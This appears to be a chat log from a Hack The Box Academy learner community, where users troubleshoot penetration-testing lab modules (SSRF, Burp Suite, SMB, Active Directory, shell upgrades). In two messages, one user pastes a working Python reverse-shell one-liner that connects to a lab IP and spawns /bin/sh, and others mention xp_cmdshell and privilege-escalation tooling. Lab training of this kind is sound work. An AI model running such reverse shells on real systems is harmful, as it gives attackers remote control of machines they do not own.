It is also about writing your own PoC scripts and patches. Not just being able to read and understand the code.

storm elk
#

Yeah it goes deep. I’m at advanced serialization. Still trying to get dnSpy to work on my vm

fathom pendant
#

you know your way around writing a simple script

sterile solstice
fathom pendant
#

that's just part of WhiteBox testing

#

usually when given a whitebox code to review they want to understand how it can be broken

dusky gyro
#

does the CBBH require any written scripts? havn't seen any yet almost 50% in

storm elk
acoustic owl
storm elk
fathom pendant
#

you can read what is required for cbbh in the pinned link in #cwes @dusky gyro

dusky gyro
#

ah ok, so the medium modules are more easy/medium then some of the medium boxes off app.htb that ive seen require custom scripts

storm elk
#

Boxes and academy are totally different

#

Boxes want to be owned while CBBH doesn’t require to own the box

rustic sage
#

Boxes are just exercises

fathom pendant
#

yeah CBBH is about scraping the surface of app vulnerabilities

dusky gyro
fathom pendant
#

the web challenges and challenges in general would be closer

acoustic owl
rustic sage
#

To what extent does CBBH aim to teach you? How deep does it go?

storm elk
#

My kid loves that movie though. Wants to watch it almost every day

rustic sage
#

The course

storm elk
rustic sage
#

So intermediate

storm elk
#

All depends on your knowledge

topaz fossil
sterile solstice
#

finished the ZAP Fuzzer. That was very difficult as its really not discussed on how to fuzz md5 hashes

#

interesting concept though

cedar void
#

I am trying to run a reverse shell for this module section)https://academy.hackthebox.com/module/145/section/1300) and I keep getting a 'connection refused' error". I am using the correct IP address too.

"The target is vulnerable to blind SSRF. Leverage this blind SSRF vulnerability to interact with internal.app.local and achieve remote code execution against the internal service listening on port 5000, as you did in the previous section. Submit the kernel release number as your answer (Answer format: X.X.X-XX) "

https://academy.hackthebox.com/module/145/section/1300

||export RHOST="10.10.14.58";export RPORT="5000";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'||

sterile solstice
topaz fossil
sterile solstice
#

did you use your student email for HTB? you can sometimes still get access to your old email if you went to uni/college

#

though understand if thats too much hassle. i saw you need to show proof of enrolment and i really cant be bothered doing that right now. too much effort hahha

topaz fossil
#

i graduated in 2002 🤣 i doubt that email is still working

sterile solstice
#

haha maybe not 😉

#

i graduated in 2007 but i found i still had access to the library/article search in 2017 lol

#

surprised me tbh lol

topaz fossil
#

wow, that's nice!

eager ledge
cloud urchin
#

there are lots of commands you'll need to be more specific

eager ledge
#

I am trying to run the query xp_cmdshell whoami

cloud urchin
#

your command is incomplete

#

there's nothing in your query parameter

eager ledge
#

I blurred it out lol, thinking it would be spoiler

#

However, I am using trying to execute whoami command in the system using xp_cmdshell

cloud urchin
#

you can try changing regions or something, your query is probably wrong though

eager ledge
#

Will try that.

patent oak
#

Hello friends! I hope you're well. When I was going through the course, at the beginning I could catch a shell on bm Kali, I'm sure. Maybe that was THM actually. Anyhow. I used Pwnbox for any rev shell stuff through the course as I couldn't catch a shell on Kali. I assumed it was a firewall issue as I had UFW. Recently had time and did a clean install of Kali but still no shell. I start a nc listener as always, use tun0 IP address at the top right of my screen. But never catch anything. Is there some routing I have to do or something?

pine dune
#

Hi, can someone pleasee guide me in the right direction...I need to fingerprint a website on htb but it keeps giving error "could not resolve host" when I try to use curl

acoustic owl
pine dune
pine dune
acoustic owl
#

local cannot be resolved publicly. Have you created an entry in the hosts file?

pine dune
pine dune
#

sudo nano /etc/hosts?

acoustic owl
#

yes

pine dune
#

okay thanks, but it gave me two vhosts with the IP

#

so which ones should I put for one IP that it gave?

acoustic owl
#

you can also enter two vhosts

pine dune
#

okay hold on let me try

eager ledge
acoustic owl
#

10.10.10.10 vhost1.example.com vhost2.example.com

pine dune
#

is this okay

#

thanks 😄

acoustic owl
#

Always delete everything you don't need. Entries in the hosts file can quickly lead to errors, which you will then spend a long time finding...

acoustic owl
pine dune
#

how do u determine a cms of a website using nikto or curl?

acoustic owl
#

Why don't you just open the page and see what kind of page it is?
Take a look at the source code. You will often find hints there

thorn condor
#

Cannot access hack the box from firefox

#

How to do

acoustic owl
thorn condor
#

Not i can

acoustic owl
#

The problem is definitely not with firefox.

quartz nova
#

Hi, hoping someone c an help me. I am new to HtB
trying to do HtB academy module, using Kali to connect to vpn and attack the target
without using pwnbox
But for some reason, pwnbox works successfully while my own VM says host unreachable / ports closed

eager ledge
#

I am doing last exercise of "Privileged Access" section of "Active Directory Enumeration & Attacks" module.

eager ledge
acoustic owl
#

You are trying to log in with your username/password. Try it with windows-auth

eager ledge
#

I see. So, I was not able to login due to the different authentication mechanism?

#

I mean When using the previous PowerUpSQL command, it was using SQL authentication right? Instead of windows authentication

acoustic owl
#

Yes, you are using SQL Server Authentication with the command on your print screen

sterile solstice
#

I'm unsure how you use the exploit from here, and the section doesn't explain it. ||I went to the link to OWSAP (https://owasp.org/www-community/attacks/Path_Traversal) but the examples they list don't seem to work for me.|| I know i'm missing something simple. Am I meant to send in new Requests in ZAP to get what I need?

topaz fossil
sterile solstice
#

i'm re-running it all. I think I found another but will wait for it to complete ...

#

been scanning for 43mins, so half of my target time is already up, and the scan is only half-done. lol

topaz fossil
#

i think there's a part in the scanner that checks for all XSS problems. that one takes forever.

sterile solstice
#

reading some manga while i wait for the scan to complete 😆

#

yea just got past XSS, that took 20mins alone lol

limber river
acoustic owl
limber river
acoustic owl
#

I think that the Web Services & API Attacks module will be removed at some point

limber river
#

I thought is just update like web recon

acoustic owl
#

The module would then have been overwritten. Both modules are currently active

sterile solstice
#

well my VM has just frozen .... so i guess i have to do it all again ... fml. do you suggest ajax spider instead?

mint peak
#

Just finished AD Skills Assessment Part 1. That took an entire day lol 💀

sterile solstice
#

congrats mate! i only finished part 2 the other day ... what a whirlwind lol

wraith pelican
sterile solstice
#

ah, gotcha

#

the section shows a lot being done in the hud, but tbh i can't get the hud to show everything

sterile solstice
topaz fossil
#

hud doesn't work for me all the time. seems like a stability issue to me

sterile solstice
#

yea could be. at least i'm not the only one

#

this will be the 4th time i try and do the active attack/scan. i hope i get through it all this time lol

topaz fossil
#

but to be fair, when it does work, it's actually quite nice.

wraith pelican
sterile solstice
plain coral
#

anyone else having issues spawning targets?

left topaz
#

F1nd1ng W1ndows Ev1ls . hav1ng error on DotNetProvder .

sterile solstice
ionic iris
#

Hi, im new.

wraith pelican
sterile solstice
ionic iris
#

Hi, can someone help me?

fathom pendant
#

with?

ionic iris
fathom pendant
ionic iris
#

K, thanks.

#
  1. Why i cant type in general?
arctic karma
#

[07.06 03:47:45] mstsc.exe (1168) *64 - 172.16.6.155:3389 error : Could not connect to proxy 127.0.0.1(127.0.0.1):1080 - connection attempt failed with error 10061 I keep running into this error and it will not let me connect when following the setup for the RDP and SOCKS Tunneling with SocksOverRDP
lab, any ideas on what may cause this error? I have run the server.exe file and set the proxy to 127.0.0.1:1080 in the Proxifier

fathom pendant
ionic iris
#
  1. How to get role- like noob hacker & others?
wraith pelican
arctic karma
#

Its an error in the proxifier itself, I tried to google this but was not having much success as of yet but I'll keep digging!

ionic iris
#

@fathom pendant help.

fathom pendant
fathom pendant
#

read that channel in its entirety

ionic iris
#

But i cant read.

fathom pendant
#

all your questions can be answered by reading and following #welcome

fathom pendant
ionic iris
arctic karma
#

I looked in there it didn't help as I am able to connect when the proxy was not set but without proper access now with the proxy all condifured I started getting this error

fathom pendant
#

@arctic karma i take it you followed all the steps as outlined in the module and got all the success popups and got the tools running properly

arctic karma
#

I am not getting the popup for some reason when connecting to the final host

fathom pendant
#

note: Proxifier is meant to run on the first host

#

i suggest restarting the target; and going through each step with a fine toothed comb

#

making sure you get the same messages as the examples

fathom pendant
sterile solstice
fathom pendant
#

gg

sterile solstice
#

it was interesting! i definitely need more practice with burp though

cedar void
fathom pendant
#

are you running a listener on the specified port?

viscid flare
#

Is there any sort of trick to get more modules?

grand solar
#

quick question about "Password Attacks Lab - Medium" in Password Attacks, so I found a ssh key in a certain user's directory but I was wondering why that ssh key was able to log on to the roots account? I thought it should only work for that user that the key was found in? unless I'm missing something

fathom pendant
fathom pendant
#

also think: why was it password protected?

#

sometimes things require logical leaps

grand solar
#

ahhh true that was one of the key points of the previous lessons, thanks

viscid flare
fathom pendant
#

the only way to get cubes to buy more modules is to pay money (buy one of the handful of subscription models) ¯_(ツ)_/¯

shut vapor
#

I'm having difficulty upgrading a non-interactive reverse shell sometimes and I think it has to do with ZSH. I haven't had any luck figuring this out. Generally this is the procedure I'm following.

# once the initial reverse shell is established ctrl-z so you're on your native shell and
$ stty raw -echo; fg
# now back in the reverse shell
$ export SHELL=bash
$ export TERM=xterm (or whatever your local $TERM is)
$ stty rows XX cols XXX
#

But as you can see things aren't quite right. Anyone run across this see what I'm doing wrong?

#

I get line feeds without carriage returns. 🤨

#

Ooh! Hey, I think I got it.

# toggle onlcr to better handle how the line termination works
$ stty raw -echo onlcr
teal spade
#

I'm on the Hunting Evil with YARA section of CDSA, It asked me to find hex values associated with "Sandbox Detected". I've found what I believe the corresponding values, but there are several lines of hex keys and I've tried every combinatinon of them with no spaces and I can't get the answer right. Does anyone have any tips? How do I know which part directly translates to the phrase it's looking for?

shut vapor
#

I couldn't explain why that works very well, but rubber ducking the situation gave me some ideas for googling

teal spade
#

Also, I don't know how to post an image to show my problem. Please help, thank you!

cedar void
# fathom pendant are you running a listener on the specified port?

I ran the command on my locate vm with the netcat listener ''nc -lvnp 9090" and it made a connection. The module section says I should run an encoded payload twice and I am not sure if they mean run the (export RHOST="10.10.14.58";export RPORT="9090";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'’ ) command again.

my net cat listener established a connection, when I run the ifconfig command, it shows information from my local machine

teal spade
#

These are the hex values I found, but I tried the two corresponding lines and several other combinations and nothing worked. Please help, thank you!

cedar void
uncut cave
#

Hi ya, has anyone completed Windows Evasion ?

shut vapor
uncut cave
#

Been stuck on Task 3, the flag.txt is not being generated like the question suggests

uncut cave
#

I meant the "Static Analysis" session

next bronze
cedar void
shut vapor
cedar void
#

how did you open the bash prompt on the remote system?

shut vapor
#

I'm not on your challenge. I was just testing the command. I have control of the other box in my situation.

uncut cave
pastel python
#

Same issue here, can I DM?

spark spruce
austere citrus
#

Hiya! Anyone here familiar with BurpSuite?

#

I'm having trouble getting it to connect to the target IP in the pwnbox. ZAP connects to the target but Burp won't, so I'm wondering if there's a setting I'm overlooking or something I need to configure.

shut quest
austere citrus
#

No

ashen umbra
#

Quick question on FFUF. I am in the recursive module and it works just fine, but what is all this output at the top? I just would like to understand what it is and why it is there.

austere citrus
#

That wouldn't work. They're both setup to use the same port I believe.

#

Also, I don't even get an error message. It just continually tries to connect. It's been about 5 minutes or so and it didn't even timeout.

#

Oh gosh, I just turned "Intercept" Off, and now I can connect to the IP. That's odd. Shouldn't I be able to connect with intercept on?

shut quest
austere citrus
#

Yes, that's what I'm trying to do.

dim wolf
#

did a request come through burp? if it did, you have to click the Send button or whatever

shut quest
#

You have to approve each one

dim wolf
#

yea approve

#

if it's loading forever that probably means you have to approve a request

austere citrus
#

okay thank you, how do i approve it?

ashen umbra
#

Also, is there a way to prettify FFUF output? a lot of noise in the output

dim wolf
#

on the intercept page there's a button that i think says "Send"

shut quest
dim wolf
#

ok it's Forward

#

i'm getting dementia

shut quest
#

its okay, i thought it was approve

austere citrus
#

oops, nevermind, i figured it out

ashen umbra
austere citrus
#

@dim wolf thanks so much for your help! I was trying to do this module last night and was stuck for at least an hour so I figured I'd take a break and try again today. Really appreciate the help. In all the googling I did searching for answers I never did figure it out.

dim wolf
#

thank you @shut quest

zenith dome
#

Hi about broken authentication - attacking session tokens - the first question what is the answer : A session token can be brute-forced if it lacks sufficient what?
Any one can help me please ??

austere citrus
#

Does anyone know of any good tutorials for ZAP? I feel like the Web Requests module isn't quite enough for me and I'd like to learn more. But all the videos I found are either very old, or hard to understand. And the documentation from ZAP isn't the greatest either imo.

austere citrus
#

But lead you in the right direction so you can figure it out yourself

dim wolf
#

i would rather just use burp over zap

shut quest
dim wolf
#

unless you prefer zap

austere citrus
#

You know, I considered it but being that ZAP is free, I figured I should probably get comfortable using it instead.

zenith dome
#

A session token can be brute-forced if it lacks sufficient what? # broken authentication

#

Can any one help me??

dim wolf
#

burp is also free, you don't really need burp pro for it to be good

next bronze
#

you should use burp more imo, it's the standard for web pen and most companies use it

zenith dome
dim wolf
#

it just rate limits fuzzing attacks and whatnot

austere citrus
#

No? I'm really new so I don't quite understand the paid features yet and if I would ever need them or not. But I looked at the price and it was really expensive, like $500 I want to say? So thought I'd try zap instead. If I really don't need Pro, then yes, I feel like Burp is way easier to use.

shut quest
#

for anything you're going to learn in the academy burp community is just fine

topaz fossil
#

i came across this though. this plugin works on burp CE. it's a little harder to use than the conventional Intruder, but it does get over the throttling.
https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack

PortSwigger Research

Automated web application attacks are terminally limited by the number of HTTP requests they can send. It's impossible to know how many hacks have gone off the rails because you didn't quite manage to

austere citrus
shut quest
#

or just use ffuf 🙄

topaz fossil
austere citrus
#

Whatever happened to the react button? I wanted to react to a message with an emoji but there is no react button in the menu. I've been away from Discord for a while. Did something change?

austere citrus
topaz fossil
#

mouse over the message and you'll find the react options at the far right 🙂 not very intuitive

austere citrus
topaz fossil
next bronze
#

some extensions can be used without pro

austere citrus
next bronze
austere citrus
#

Ha! thanks! Didn't realize I needed to put in my account identifier

fathom pendant
austere citrus
#

Oh hi marcie! I finally figured out why I couldn't connect to the IP in Burp last night. I didn't realize I had to forward the request after entering the IP in the browser. So simple and it had me stuck for at least an hour haha

fathom pendant
#

@zenith dome I did not ask you to DM me

storm elk
#

I looooove burp

next bronze
austere citrus
# storm elk I looooove burp

oh good, glad you do because I'm really struggling to figure out how to use it haha! I do have another question about it

next bronze
austere citrus
#

I entered the target IP in the Burp browser, forwarded the request in Burp to get the page to load. Then I had to enter some info on the webpage which I did, and then I forwarded the request again in Burp. Now I'm supposed to edit some of the HTML in the response. But I can't figure out how to do that. Or rather, where do I go to look at the HTML response?

storm elk
dim wolf
#

should be in proxy settings

fathom pendant
#

^

austere citrus
dim wolf
#

there's a checkbox to intercept packets you send

#

sorry packets that you receive

fathom pendant
#

both*

#

there's one for each

dim wolf
#

yes both but the one to receive is not checked

austere citrus
dim wolf
#

you check it and you should be able to get the responses

#

you don't get a packet with something like 200 OK?

fathom pendant
#

this module is very much a follow along

austere citrus
#

I do see the packets in the browser itself. I'm sorry, I don't know why I'm having such a hard time here. I don't ususally struggle to understand a concept this much.

fathom pendant
#

the requests are in the burp intercept tab

austere citrus
# fathom pendant this module is very much a follow along

Yes, this is exactly what I'm trying to do. I'm going through it a line at a time and attempting to duplicate what I see in the module. But in the module, after they intercept the response, there is a picture where you can see the page's HTML. However, I don't see this on mine.

dim wolf
#

another thing, you said you're using burp browser, it's a lot easier to use a browser extension like FoxyProxy and configure your burp proxy through that

dim wolf
austere citrus
fathom pendant
#

yes

dim wolf
#

pwnbox should have foxyproxy configured in firefox

fathom pendant
#

pwnbox has the foxyproxy already installed

austere citrus
#

oh great! let me try there and see if my results are any different.

fathom pendant
#

i mean you can do it on your own machine

dim wolf
#

i believe the module even shows you how to configure it

fathom pendant
#

^

austere citrus
#

I should probably go to Burp and read their documentation at this point. Clearly I need more instruction than what the module gives me. idk why I'm struggling with it so much.

fathom pendant
#

oh

#

i think I know the issue that you're struggling with

#

did you just do ctrl+r

austere citrus
#

Normally I feel like HTB does a great job thoroughly explaining a topic. Or maybe I"m just having a couple of baed days

fathom pendant
#

or did you do ctrl+shift+r

#

one clears cache the other does not

#

you need to clear the cache for burp to see the initial request

austere citrus
#

I pressed Ctrl + Shift + R. Hang on, I'll type out exactly the steps I'm taking.

fathom pendant
#

make sure you have the intercept options set properly

austere citrus
#

In Burp, I go to Proxy>Intercept (with Intercept on) and launch the Burp browser. Then I navigate to the IP/Port and go back to Burp to forward the request. I enter some info into the web page like we did in the previous section of the module and click on forward again in Burp. Then, again following the module's example, I go to Proxy>Settings and under Intercept Responses, I check the box to Intercept responses based on the following rules: Content type header. (Although, looking at the picture in the module, it says next to the box I checked, that "Master interception is turned off". I don't know if that's the issue? I don't see a box for this option). I then refresh the page, hoping to see some HTML, but I don't see a thing.

#

I'm googling the Master Interception setting now

#

Here is what I see in Burp after I refresh the web page

supple scaffold
#

hello , someone knows why in the getting started module under Service Scanning part -question 3 , the password to bob user as it given as Welcome1 , but it not working

next bronze
fathom pendant
austere citrus
fathom pendant
#

first forward/clear all the requests in intercept

austere citrus
#

okay

next bronze
#

ah

#

if you want to quickly clear the requests, press the intercpet button off, it will auto forward everything in the queue, then turn it on again

supple scaffold
#

tried with lower case w

fathom pendant
#

that looks like smb error

austere citrus
#

I'm going to close it out and restart. Resetting my target ip too. It stopped responding.

fathom pendant
#

smbclient -U "user" -P "password" //ip/sharename

austere citrus
#

I really appreciate your help and patience btw. If I can't figure this out soon, I'm going to just stop and go through the Burp documentation.

fathom pendant
#

if you want to list shares; smbclient -U "user" -P "password" -L //ip/

#

replacing user and password with the appropriate username and password

fathom pendant
next bronze
supple scaffold
fathom pendant
supple scaffold
#

the ip

fathom pendant
#

Take out the -P flag

#

And enter it when it asks

austere citrus
#

thank the lord! I can finally see the HTML in the response! Resetting the instance and the target IP fixed whatever was wrong. I should have tried that first!

#

Thanks again for all the help @fathom pendant

supple scaffold
fathom pendant
#

that's weird

#

is users the sharename you found?

#

smbclient -L -N //ip/

supple scaffold
#

yes

austere citrus
supple scaffold
#

yes i checked it this moment

#

it ask for bobs password

#

and when i enter it , i get that error

austere citrus
# supple scaffold and when i enter it , i get that error

you might want to try entering the error into ChatGPT, or whatever LLM you're partial too, and also tell it the command you entered and what you're trying to do. I've found LLMs (I prefer Gemini) to be an IMMENSE help when I encounter command line errors.

fathom pendant
sweet jewel
#

in the "Intro to C2 Operations with Sliver" module under "Privilege Escalation", the author demonstrated that you could execute GodPotato via the built-in execute-assembly and execute whoami in the SYSTEM context, but then they decided to convert GodPotato into PIC with donut and escalate to SYSTEM with execute-shellcode instead

is the extra 2-3 steps just to demonstrate donut, and execute-shellcode? it seems like unnecessary complication

fathom pendant
#

they can lead you astray and you spend more time troubleshooting it than you would by just googling

austere citrus
#

Or, learn from all the time I just wasted and just try resetting your instance and your target in case something there is causing the issue.

fathom pendant
#

GPT/LLMs aren't a search engine

supple scaffold
austere citrus
austere citrus
#

well I'm going to get back to my module. Thanks again for all the help

fathom pendant
#

it just depends how you use it

#

don't use it to replace your brain is my short answer

dim wolf
#

i'd rather get my solutions from people who actually fixed what i'm asking for

austere citrus
#

Oh, one quick question about Burp, I didn't realize that requests could build up until a comment you made to me, in other words, I have to hit "forward" multiple times. Is there a counter somewhere so I can know if I need to hit forward again?

fathom pendant
next bronze
#

usually i keep intercept off until there's something specific I want to capture

austere citrus
#

okay thank you

#

well I was trying to capture a response, so in that case, I would need to have intercept turn on right? Or am I wrong?

fathom pendant
#

yes

shell solar
# fathom pendant yes

hi, what wordlist did you use for this module? PASSWORD ATTACKS ->Attacking Active Directory & NTDS.dit

sweet jewel
quasi wave
#

Hi I have been watching this video on YouTube to understand windows file transfers:

https://youtu.be/uENsdamBU2o

I completed the first exercise of the Windows File Transfers section of File Transfers Module successfully a while back. I have been stuck on it for a while because some anxiety and mental health issues have gotten in the way. I tried all this different stuff for a month or so to get through the Windows File Transfers section. Its taking forever. Would you say at this point it would be a bad idea to go through the walkthrough of the section?

I did not watch the part of the video that gives away the answers because I'm trying to figure it out myself as much as possible but I'm wondering if maybe I should take notes on video or something and not just on section in addition to watching video and make sure I understand answers then go to next section.

What do you think?

This is an entry level hack the box academy guided walkthrough to teach how to transfer files once you have access to the target. This is a skill that can be used in all facets of IT and cybersecurity.

If you want to see exclusive content and have the opportunity to game and chat with me about anything check out the patreon!
Patreon to help su...

▶ Play video
#

I have been stuck on this section of the module for a month.

#

I even went back and completed the new sections on information gathering web edition module

#

and came back to this module and I'm still having trouble

#

I have taken notes on module several times

#

that whole stuffy24 video is a walkthrough of just Windows File Transfers section and not whole module

fathom pendant
fathom pendant
next bronze
high reef
#

anyone around that can help me with this

fathom pendant
# high reef

Did you replicate what you read in the section?

quasi wave
# fathom pendant honestly you're likely just overthinking it

Ok but that still doesn't really answer my question. So if I'm overthinking it for more than a month (almost two months) should I get the answer and try to get the explanation behind it or should I keep trying to solve the other two questions in the section?

high reef
#

when i run the bash script i get this

high reef
#

it looks like it should work but i get no output

fathom pendant
fathom pendant
#

This section is very simple

quasi wave
#

thank you. its closer to a month and a week but still long time. I'm gonna just finish video and take notes on video.

fathom pendant
#

You really don't need much

quasi wave
#

since I am more than smart enough but you know thank you I'm just gonna watch video and take notes and fill in flags and go onto next section of module

#

thanks for letting me know

high reef
#

any suggestions?

sweet jewel
shell solar
next bronze
#

some of the authors are cool with dms but I'm not sure about them

sweet jewel
#

ill probably collect my thoughts and ping one of the authors tomorrow

sweet jewel
#

to show that you can execute native binaries in memory too, with donut

next bronze
#

I guess it's time to rewrite godpotato in c/c++ kek

verbal turtle
# high reef

i had this problem try using burpsuite with command injection to bypass space

verbal turtle
next bronze
#

surely that will work

high reef
fathom pendant
#

FastTrack should work

#

I suggest using cme/nxc smb module

shell solar
fathom pendant
#

¯_(ツ)_/¯

shell solar
fathom pendant
#

look at the given name and then look at your username

shell solar
fathom pendant
#

the fasttrack wordlist works

shell solar
fathom pendant
shell solar
#

i find it

#

thx

fathom pendant
#

the question asks for John Marston's credentials

austere citrus
# quasi wave Hi I have been watching this video on YouTube to understand windows file transfe...

Honestly, if I were in your shoes, and I was struggling to understand the concepts in a module, I would probablygo back a little bit and maybe go through some of the fundamental modules, such as Windows Fundamentals and any others that relate to what you're trying to do. When I first started on HTB, I wanted to jump right into the good stuff, but very quickly realized I need a solid foundation first. Also, Microsoft Learn has some great courses too. Maybe something there can help you. https://learn.microsoft.com/en-us/training/browse/

Learn new skills and discover the power of Microsoft products with step-by-step guidance. Start your journey today by exploring our learning paths and modules.

brittle solar
#

Hello, sorry for the noob question but is it okay for me to ask a question about a module question in here or should i post it in the community help section?

fathom pendant
#

include

Module Name
Section Name
what you're struggling with
#

note note /module/N/section/Y

#

the actual Module: Password Attacks, Section: Network Services (as an example)

brittle solar
#

Okay cool. So im doing the information gathering - web edition module, and I completed everything up to the final skills assessment, and am on the 3rd question " What is the API key in the hidden admin directory that you have discovered on the target system?" I am given a socket to connect to and a vhost name "inlanefreight.htb". So obviously I first need to find the location of the hidden admin directory before i can find the API key, and I'm struggling to find that. I did add the vhost to my /etc/hosts file and triple checked it is the correct IP. I can connect to the bare site index page with the direct ip or the vhost name. Everything I have tried so far: gobuster, ffuf to try and brute force directories. Then i tried them for vhost discovery as well, and triple checked all syntax for all the commands i ran and they had no errors, but returned no results. I tried spidering the website with ffuf and ZAP, and in the basic ZAP spider it says it found a /robots.txt and a /sitemap.xml, but when i try to curl those down or visit them, i get a 404 if i use the IP:PORT or vhost:PORT. I don't know if im looking in the wrong place, using the wrong tool, or am missing something stupid obvious

fathom pendant
#

the robots.txt however is interesting

fathom pendant
brittle solar
#

the hosts line is: 94.237.59.63 inlanefreight.htb
also, i tried connecting to the htb vpn and that didn't change anything

fathom pendant
#

vpn won't change anything

#

also whenever you find a vhost you need to add it to the /etc/hosts file